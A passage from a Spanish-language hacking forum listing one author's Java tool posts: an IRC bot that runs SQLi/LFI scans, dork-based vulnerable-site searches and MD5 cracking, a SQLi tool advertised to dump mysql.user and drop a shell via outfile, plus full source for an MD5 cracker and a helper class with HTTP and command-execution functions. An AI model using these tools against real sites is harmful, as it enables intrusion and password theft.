                        if (control_admin.equals(admin)) {

                            //
                            search = Pattern.compile("!sqli (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.SQLI_Scanner(target);
                                responder(code);
                            }

                            search = Pattern.compile("!lfi (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.scan_lfi(target);
                                responder(code);
                            }

                            search = Pattern.compile("!panel (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.panel_finder(target);
                                responder(code);
                            }

                            search = Pattern.compile("!fuzzdns (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.fuzz_dns(target);
                                responder(code);
                            }

                            search = Pattern.compile("!locateip (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String target = regex.group(1);
                                String code = funcion.locate_ip(target);
                                responder(code);
                            }

                            search = Pattern.compile("!sqlifinder (.*) (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String dork = regex.group(1);
                                int cantidad = Integer.parseInt(regex.group(2));
                                String buscador = regex.group(3);
                                String code = funcion.find_sqli(dork, cantidad, buscador);
                                responder(code);
                            }

                            search = Pattern.compile("!rfifinder (.*) (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String dork = regex.group(1);
                                int cantidad = Integer.parseInt(regex.group(2));
                                String buscador = regex.group(3);
                                String code = funcion.find_rfi(dork, cantidad, buscador);
                                responder(code);
                            }

                            search = Pattern.compile("!crackit (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String md5 = regex.group(1);
                                String code = funcion.crack_md5(md5);
                                responder(code);
                            }

                            search = Pattern.compile("!tinyurl (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String url = regex.group(1);
                                String code = funcion.tiny_url(url);
                                responder(code);
                            }

                            search = Pattern.compile("!httpfinger (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String page = regex.group(1);
                                String code = funcion.http_finger(page);
                                responder(code);
                            }

                            search = Pattern.compile("!md5 (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String texto = regex.group(1);
                                String code = "[+] MD5 : " + funcion.md5_encode(texto);
                                responder(code);
                            }

                            search = Pattern.compile("!base64 (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] Base64 : " + funcion.encode_base64(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_base64(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!ascii (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] ASCII : " + funcion.encode_ascii(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_ascii(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!hex (.*) (.*)$");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String option = regex.group(1);
                                String texto = regex.group(2);
                                String code = "";
                                if ("encode".equals(option)) {
                                    code = "[+] Hex : " + funcion.encode_hex(texto);
                                }
                                if ("decode".equals(option)) {
                                    code = "[+] Text : " + funcion.decode_hex(texto);
                                }
                                responder(code);
                            }

                            search = Pattern.compile("!help");
                            regex = search.matcher(text);
                            if (regex.find()) {
                                String code = "";
                                code = code + "Hi , I am ClapTrap an assistant robot programmed by Doddy Hackman in the year 2015" + "\n";
                                code = code + "[++] Commands" + "\n";
                                code = code + "[+] !help" + "\n";
                                code = code + "[+] !locateip <web>" + "\n";
                                code = code + "[+] !sqlifinder <dork> <count pages> <google/bing>" + "\n";
                                code = code + "[+] !rfifinder <dork> <count pages> <google/bing>" + "\n";
                                code = code + "[+] !panel <page>" + "\n";
                                code = code + "[+] !fuzzdns <domain>" + "\n";
                                code = code + "[+] !sqli <page>" + "\n";
                                code = code + "[+] !lfi <page>" + "\n";
                                code = code + "[+] !crackit <hash>" + "\n";
                                code = code + "[+] !tinyurl <page>" + "\n";
                                code = code + "[+] !httpfinger <page>" + "\n";
                                code = code + "[+] !md5 <text>" + "\n";
                                code = code + "[+] !base64 <encode/decode> <text>" + "\n";
                                code = code + "[+] !ascii <encode/decode> <text>" + "\n";
                                code = code + "[+] !hex <encode/decode> <text>" + "\n";
                                code = code + "[++] Enjoy this IRC Bot" + "\n";
                                responder(code);
                            }

                            //
                        }
                    }
                }
            } catch (IOException e) {
                System.out.println("\n[-] Error connecting");
            }

        }

    }

    // The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.

    Eso seria todo.
#29
Java / [Java] K0bra 1.0
1 Abril 2016, 15:19 PM
Un simple scanner SQLI hecho en Java , tiene las siguientes funciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :









    Si quieren bajar el proyecto con el codigo fuente lo pueden hacer desde aca.
#30
Java / [Java] PanelFinder 0.3
18 Marzo 2016, 14:22 PM
Traduccion a Java de este programa para buscar el panel de administracion de una pagina.

Una imagen :



Si quieren bajar el proyecto lo pueden hacer desde aca.
#31
Java / [Java] SQLI Scanner 0.4
5 Marzo 2016, 16:15 PM
Un simple programa en Java para buscar paginas vulnerables a SQLI usando Google o Bing.

Una imagen :



Si lo quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca.
#32
Java / [Java] LocateIP 0.2
20 Febrero 2016, 15:51 PM
Un simple programa en Java para localizar una IP y sus DNS.

Una imagen :



Si quieren bajar el proyecto con el codigo y el programa final lo pueden hacer de aca.
#33
Java / [Java] HTTP FingerPrinting 0.2
5 Febrero 2016, 15:11 PM
Un simple programa en Java para realizar HTTP FingerPrinting a una pagina.

Una imagen :



Si lo quieren bajar el proyecto con el codigo fuente lo pueden hacer de aca.
#34
Java / [Java] MD5 Cracker 0.2
22 Enero 2016, 16:18 PM
Un simple programa en Java para crackear un hash MD5 mediante 3 servicios online.

Una imagen :



El codigo :

Código (java) [Seleccionar]

// MD5 Cracker 0.2
// (C) Doddy Hackman 2015
// Credits : Based in the services ...
// http://md5online.net/index.php
// http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php
// http://md5decryption.com/index.php
package MD5_Cracker;

import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.swing.JOptionPane;
import javax.swing.SwingUtilities;
import org.jvnet.substance.SubstanceLookAndFeel;

/**
*
* @author Doddy
*/
public class Home extends javax.swing.JFrame {

    /**
     * Creates new form Home
     */
    public Home() {
        initComponents();
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">                         
    private void initComponents() {

        jPanel3 = new javax.swing.JPanel();
        jPanel1 = new javax.swing.JPanel();
        txtMD5 = new javax.swing.JTextField();
        btnCrack = new javax.swing.JButton();
        jPanel2 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jLabel2 = new javax.swing.JLabel();
        jLabel3 = new javax.swing.JLabel();
        txtPassword1 = new javax.swing.JTextField();
        txtPassword2 = new javax.swing.JTextField();
        txtPassword3 = new javax.swing.JTextField();
        jPanel4 = new javax.swing.JPanel();
        status = new javax.swing.JLabel();

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGap(0, 100, Short.MAX_VALUE)
        );
        jPanel3Layout.setVerticalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGap(0, 100, Short.MAX_VALUE)
        );

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("MD5 Cracker 0.2 (C) Doddy Hackman 2015");
        setResizable(false);

        jPanel1.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Enter MD5", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        btnCrack.setText("Crack");
        btnCrack.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                btnCrackActionPerformed(evt);
            }
        });

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(txtMD5, javax.swing.GroupLayout.PREFERRED_SIZE, 280, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(btnCrack, javax.swing.GroupLayout.DEFAULT_SIZE, 75, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel1Layout.createSequentialGroup()
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGroup(jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(txtMD5, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(btnCrack))
                .addContainerGap())
        );

        jPanel2.setBorder(javax.swing.BorderFactory.createTitledBorder(null, "Result", javax.swing.border.TitledBorder.DEFAULT_JUSTIFICATION, javax.swing.border.TitledBorder.TOP));

        jLabel1.setText("md5online.net ->");

        jLabel2.setText("md5.my-addr.co ->");

        jLabel3.setText("md5decryption.com ->");

        txtPassword1.setEditable(false);

        txtPassword2.setEditable(false);

        txtPassword3.setEditable(false);

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addGap(28, 28, 28)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING, false)
                    .addGroup(jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel3)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(txtPassword3))
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel2)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(txtPassword2))
                    .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(txtPassword1, javax.swing.GroupLayout.PREFERRED_SIZE, 229, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(txtPassword1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel2)
                    .addComponent(txtPassword2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel3)
                    .addComponent(txtPassword3, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addContainerGap(15, Short.MAX_VALUE))
        );

        jPanel4.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED));

        status.setText("[+] Program Ready");

        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
        jPanel4.setLayout(jPanel4Layout);
        jPanel4Layout.setHorizontalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel4Layout.createSequentialGroup()
                .addComponent(status)
                .addGap(0, 0, Short.MAX_VALUE))
        );
        jPanel4Layout.setVerticalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
                .addGap(0, 0, Short.MAX_VALUE)
                .addComponent(status))
        );

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jPanel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jPanel1, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
                .addContainerGap())
            .addComponent(jPanel4, javax.swing.GroupLayout.Alignment.TRAILING, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
        );
        layout.setVerticalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(layout.createSequentialGroup()
                .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel2, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jPanel4, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addGap(0, 0, 0))
        );

        pack();
    }// </editor-fold>                       

    private void btnCrackActionPerformed(java.awt.event.ActionEvent evt) {                                         

        DH_Tools tools = new DH_Tools();

        if ("".equals(txtMD5.getText())) {
            JOptionPane.showMessageDialog(null, "Write MD5");
        } else {

            SwingUtilities.updateComponentTreeUI(this);
            status.setText("[+] Cracking ...");

            String md5 = txtMD5.getText();

            String code1 = tools.tomar("http://md5online.net/index.php", "pass=" + md5 + "&option=hash2text&send=Submit");

            Pattern search = null;
            Matcher regex = null;

            search = Pattern.compile("pass : <b>(.*?)<\\/b>");
            regex = search.matcher(code1);
            if (regex.find()) {
                txtPassword1.setText(regex.group(1));
            } else {
                txtPassword1.setText("Not Found");
            }

            String code2 = tools.tomar("http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php", "md5=" + md5);

            search = Pattern.compile("<span class='middle_title'>Hashed string<\\/span>: (.*?)<\\/div>");
            regex = search.matcher(code2);
            if (regex.find()) {
                txtPassword2.setText(regex.group(1));
            } else {
                txtPassword2.setText("Not Found");
            }

            String code3 = tools.tomar("http://md5decryption.com/index.php", "hash=" + md5 + "&submit=Decrypt It!");

            search = Pattern.compile("Decrypted Text: <\\/b>(.*?)<\\/font>");
            regex = search.matcher(code3);
            if (regex.find()) {
                txtPassword3.setText(regex.group(1));
            } else {
                txtPassword3.setText("Not Found");
            }

            SwingUtilities.updateComponentTreeUI(this);
            status.setText("[+] Finished");

        }


    }                                       

    /**
     * @param args the command line arguments
     */
    public static void main(String args[]) {
        /* Set the Nimbus look and feel */
        //<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">
        /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.
         * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html
         */
        try {
            for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {
                if ("Nimbus".equals(info.getName())) {
                    javax.swing.UIManager.setLookAndFeel(info.getClassName());
                    break;
                }
            }
        } catch (ClassNotFoundException ex) {
            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (InstantiationException ex) {
            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (IllegalAccessException ex) {
            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        } catch (javax.swing.UnsupportedLookAndFeelException ex) {
            java.util.logging.Logger.getLogger(Home.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);
        }
        //</editor-fold>

        /* Create and display the form */
        Home.setDefaultLookAndFeelDecorated(true);
        String skin = "org.jvnet.substance.skin.RavenGraphiteGlassSkin";
        SubstanceLookAndFeel.setSkin(skin);
        SubstanceLookAndFeel.setCurrentWatermark("org.jvnet.substance.watermark.SubstanceMetalWallWatermark");

        java.awt.EventQueue.invokeLater(new Runnable() {
            public void run() {
                new Home().setVisible(true);
            }
        });
    }

    // Variables declaration - do not modify                     
    private javax.swing.JButton btnCrack;
    private javax.swing.JLabel jLabel1;
    private javax.swing.JLabel jLabel2;
    private javax.swing.JLabel jLabel3;
    private javax.swing.JPanel jPanel1;
    private javax.swing.JPanel jPanel2;
    private javax.swing.JPanel jPanel3;
    private javax.swing.JPanel jPanel4;
    private javax.swing.JLabel status;
    private javax.swing.JTextField txtMD5;
    private javax.swing.JTextField txtPassword1;
    private javax.swing.JTextField txtPassword2;
    private javax.swing.JTextField txtPassword3;
    // End of variables declaration                   
}

// The End ?


Si quieren bajar el programa lo pueden hacer de aca.
#35
Java / [Java] Class DH Tools 0.2
15 Enero 2016, 16:21 PM
Mi primer clase en Java , se llama DH Tools y tiene las siguientes opciones :

  • Realizar una peticion GET y guardar el contenido
  • Realizar una peticion POST y guardar el contenido
  • Crear o escribir archivos
  • Leer archivos
  • Ejecutar comandos y leer su respuesta
  • HTTP FingerPrinting
  • Leer el codigo de respuesta de una URL
  • Borrar repetidos en un ArrayList
  • Cortar las URL en un ArrayList a partir del query
  • Split casero xD
  • Descargar archivos
  • Capturar el archivo de una URL
  • URI Split
  • MD5 Encode
  • MD5 File
  • Get IP

    El codigo de la clase :

    Código (java) [Seleccionar]

    // Class : DH Tools
    // Version : 0.2
    // (C) Doddy Hackman 2015
    // Functions :
    //
    //public String toma(String link)
    //public String tomar(String pagina, String data)
    //public void savefile(String ruta, String texto)
    //public String read_file(String ruta)
    //public String console(String command)
    //public String httpfinger(String target)
    //public Integer response_code(String page)
    //public ArrayList repes(ArrayList array)
    //public ArrayList cortar(ArrayList array)
    //public String regex(String code, String deaca, String hastaaca)
    //public Boolean download(String url, File savefile)
    //public String extract_file_by_url(String url)
    //public String uri_split(String link, String opcion)
    //public String md5_encode(String text)
    //public String md5_file(String file)
    //public String get_ip(String hostname)
    //
    package dhtools;

    import java.io.*;
    import java.net.*;
    import java.nio.channels.Channels;
    import java.nio.channels.ReadableByteChannel;
    import java.util.ArrayList;
    import java.util.Scanner;
    import java.util.regex.Matcher;
    import java.util.regex.Pattern;
    import java.security.*;

    public class DH_Tools {

        public String toma(String link) {
            String re;
            StringBuffer conte = new StringBuffer(40);
            try {
                URL url = new URL(link);
                URLConnection nave = url.openConnection();
                nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
                BufferedReader leyendo = new BufferedReader(
                        new InputStreamReader(nave.getInputStream()));
                while ((re = leyendo.readLine()) != null) {
                    conte.append(re);
                }
                leyendo.close();
            } catch (Exception e) {
                //
            }
            return conte.toString();
        }

        public String tomar(String pagina, String data) {
            // Credits : Function based in http://www.mkyong.com/java/how-to-send-http-request-getpost-in-java/
            String respuesta = "";

            try {
                URL url_now = new URL(pagina);
                HttpURLConnection nave = (HttpURLConnection) url_now.openConnection();

                nave.setRequestMethod("POST");
                nave.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");

                nave.setDoOutput(true);
                DataOutputStream send = new DataOutputStream(nave.getOutputStream());
                send.writeBytes(data);
                send.flush();
                send.close();

                BufferedReader leyendo = new BufferedReader(new InputStreamReader(nave.getInputStream()));
                StringBuffer code = new StringBuffer();
                String linea;

                while ((linea = leyendo.readLine()) != null) {
                    code.append(linea);
                }
                leyendo.close();
                respuesta = code.toString();
            } catch (Exception e) {
                //
            }
            return respuesta;
        }

        public void savefile(String ruta, String texto) {

            FileWriter escribir = null;
            File archivo = null;

            try {

                archivo = new File(ruta);

                if (!archivo.exists()) {
                    archivo.createNewFile();
                }

                escribir = new FileWriter(archivo, true);
                escribir.write(texto);
                escribir.flush();
                escribir.close();

            } catch (Exception e) {
                //
            }
        }

        public String read_file(String ruta) {
            String contenido = null;
            try {
                Scanner leyendo = new Scanner(new FileReader(ruta));
                contenido = leyendo.next();
            } catch (Exception e) {
                //
            }
            return contenido;
        }

        public String console(String command) {
            String contenido = null;
            try {
                Process proceso = Runtime.getRuntime().exec("cmd /c " + command);
                proceso.waitFor();
                BufferedReader leyendo = new BufferedReader(
                        new InputStreamReader(proceso.getInputStream()));
                String linea;
                StringBuffer code = new StringBuffer();
                while ((linea = leyendo.readLine()) != null) {
                    code.append(linea);
                }
                contenido = code.toString();
            } catch (Exception e) {
                //
            }
            return contenido;
        }

        public String httpfinger(String target) {

            String resultado = "";

            //http://www.mkyong.com/java/how-to-get-http-response-header-in-java/
            try {

                URL page = new URL(target);
                URLConnection nave = page.openConnection();

                String server = nave.getHeaderField("Server");
                String etag = nave.getHeaderField("ETag");
                String content_length = nave.getHeaderField("Content-Length");
                String expires = nave.getHeaderField("Expires");
                String last_modified = nave.getHeaderField("Last-Modified");
                String connection = nave.getHeaderField("Connection");
                String powered = nave.getHeaderField("X-Powered-By");
                String pragma = nave.getHeaderField("Pragma");
                String cache_control = nave.getHeaderField("Cache-Control");
                String date = nave.getHeaderField("Date");
                String vary = nave.getHeaderField("Vary");
                String content_type = nave.getHeaderField("Content-Type");
                String accept_ranges = nave.getHeaderField("Accept-Ranges");

                if (server != null) {
                    resultado += "[+] Server : " + server + "\n";
                }
                if (etag != null) {
                    resultado += "[+] E-tag : " + etag + "\n";
                }
                if (content_length != null) {
                    resultado += "[+] Content-Length : " + content_length + "\n";
                }

                if (expires != null) {
                    resultado += "[+] Expires : " + expires + "\n";
                }

                if (last_modified != null) {
                    resultado += "[+] Last Modified : " + last_modified + "\n";
                }

                if (connection != null) {
                    resultado += "[+] Connection : " + connection + "\n";
                }

                if (powered != null) {
                    resultado += "[+] Powered : " + powered + "\n";
                }

                if (pragma != null) {
                    resultado += "[+] Pragma : " + pragma + "\n";
                }

                if (cache_control != null) {
                    resultado += "[+] Cache control : " + cache_control + "\n";
                }

                if (date != null) {
                    resultado += "[+] Date : " + date + "\n";
                }
                if (vary != null) {
                    resultado += "[+] Vary : " + vary + "\n";
                }
                if (content_type != null) {
                    resultado += "[+] Content-Type : " + content_type + "\n";
                }
                if (accept_ranges != null) {
                    resultado += "[+] Accept Ranges : " + accept_ranges + "\n";
                }

            } catch (Exception e) {
                //
            }

            return resultado;

        }

        public Integer response_code(String page) {
            Integer response = 0;
            try {
                URL url = new URL(page);
                URLConnection nave1 = url.openConnection();
                HttpURLConnection nave2 = (HttpURLConnection) nave1;
                nave2.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
                response = nave2.getResponseCode();
            } catch (Exception e) {
                response = 404;
            }
            return response;
        }

        public ArrayList repes(ArrayList array) {
            Object[] listando = array.toArray();
            for (Object item : listando) {
                if (array.indexOf(item) != array.lastIndexOf(item)) {
                    array.remove(array.lastIndexOf(item));
                }
            }
            return array;
        }

        public ArrayList cortar(ArrayList array) {
            ArrayList array2 = new ArrayList();
            for (int i = 0; i < array.size(); i++) {
                String code = (String) array.get(i);
                Pattern regex1 = null;
                Matcher regex2 = null;
                regex1 = Pattern.compile("(.*?)=(.*?)");
                regex2 = regex1.matcher(code);
                if (regex2.find()) {
                    array2.add(regex2.group(1) + "=");
                }
            }
            return array2;
        }

        public String regex(String code, String deaca, String hastaaca) {
            String resultado = "";
            Pattern regex1 = null;
            Matcher regex2 = null;
            regex1 = Pattern.compile(deaca + "(.*?)" + hastaaca);
            regex2 = regex1.matcher(code);
            if (regex2.find()) {
                resultado = regex2.group(1);
            }
            return resultado;
        }

        public Boolean download(String url, File savefile) {
            // Credits : Based on http://stackoverflow.com/questions/921262/how-to-download-and-save-a-file-from-internet-using-java
            // Thanks to Brian Risk
            try {
                URL download_page = new URL(url);
                ReadableByteChannel down1 = Channels.newChannel(download_page.openStream());
                FileOutputStream down2 = new FileOutputStream(savefile);
                down2.getChannel().transferFrom(down1, 0, Long.MAX_VALUE);
                down1.close();
                down2.close();
                return true;
            } catch (IOException e) {
                return false;
            }
        }

        public String extract_file_by_url(String url) {
            return url.substring(url.lastIndexOf('/') + 1);
        }

        public String uri_split(String link, String opcion) {
            String resultado = "";
            try {
                URL url = new URL(link);
                if (opcion == "protocol") {
                    resultado = url.getProtocol();
                } else if (opcion == "authority") {
                    resultado = url.getAuthority();
                } else if (opcion == "host") {
                    resultado = url.getHost();
                } else if (opcion == "port") {
                    resultado = String.valueOf(url.getPort());
                } else if (opcion == "path") {
                    resultado = url.getPath();
                } else if (opcion == "query") {
                    resultado = url.getQuery();
                } else if (opcion == "filename") {
                    resultado = url.getFile();
                } else if (opcion == "ref") {
                    resultado = url.getRef();
                } else {
                    resultado = "Error";
                }

            } catch (Exception e) {
                //
            }
            return resultado;
        }

        public String md5_encode(String text) {
            // Credits : Based on http://www.avajava.com/tutorials/lessons/how-do-i-generate-an-md5-digest-for-a-string.html
            StringBuffer string_now = null;
            try {
                MessageDigest generate = MessageDigest.getInstance("MD5");
                generate.update(text.getBytes());
                byte[] result = generate.digest();
                string_now = new StringBuffer();
                for (byte line : result) {
                    string_now.append(String.format("%02x", line & 0xff));
                }
            } catch (Exception e) {
                //
            }
            return string_now.toString();
        }

        public String md5_file(String file) {
            //Credits : Based on http://stackoverflow.com/questions/304268/getting-a-files-md5-checksum-in-java
            // Thanks to
            String resultado = "";
            try {
                MessageDigest convert = MessageDigest.getInstance("MD5");
                FileInputStream file_now = new FileInputStream(file);

                byte[] bytes_now = new byte[1024];

                int now_now = 0;
                while ((now_now = file_now.read(bytes_now)) != -1) {
                    convert.update(bytes_now, 0, now_now);
                };
                byte[] converting = convert.digest();
                StringBuffer result = new StringBuffer();
                for (int i = 0; i < converting.length; i++) {
                    result.append(Integer.toString((converting[i] & 0xff) + 0x100, 16).substring(1));
                }
                resultado = result.toString();
            } catch (Exception e) {
                //
            }
            return resultado;
        }

        public String get_ip(String hostname) {
            String resultado = "";
            try {
                InetAddress getting_ip = InetAddress.getByName(hostname);
                resultado = getting_ip.getHostAddress();
            } catch (Exception e) {
                //
            }
            return resultado;
        }
    }

    // The End ?


    Ejemplos de uso :

    Código (java) [Seleccionar]

    package dhtools;

    import java.util.ArrayList;
    import java.util.Collections;

    public class Main {

        public static void main(String[] args) {
            DH_Tools tools = new DH_Tools();
            //String codigo = tools.toma("http://localhost/");
            //String codigo = tools.tomar("http://localhost/login.php", "usuario=test&password=dsdsads&control=Login");
            //tools.savefile("c:/xampp/texto.txt","texto");
            //String codigo = tools.read_file("c:/xampp/texto.txt");
            //String codigo = tools.console("ver");
            //String codigo = tools.httpfinger("http://www.petardas.com");
            /*
             ArrayList array = new ArrayList();
             Collections.addAll(array, "http://localhost/sql.php?id=dsaadsds", "b", "http://localhost/sql.php?id=dsaadsds", "c");
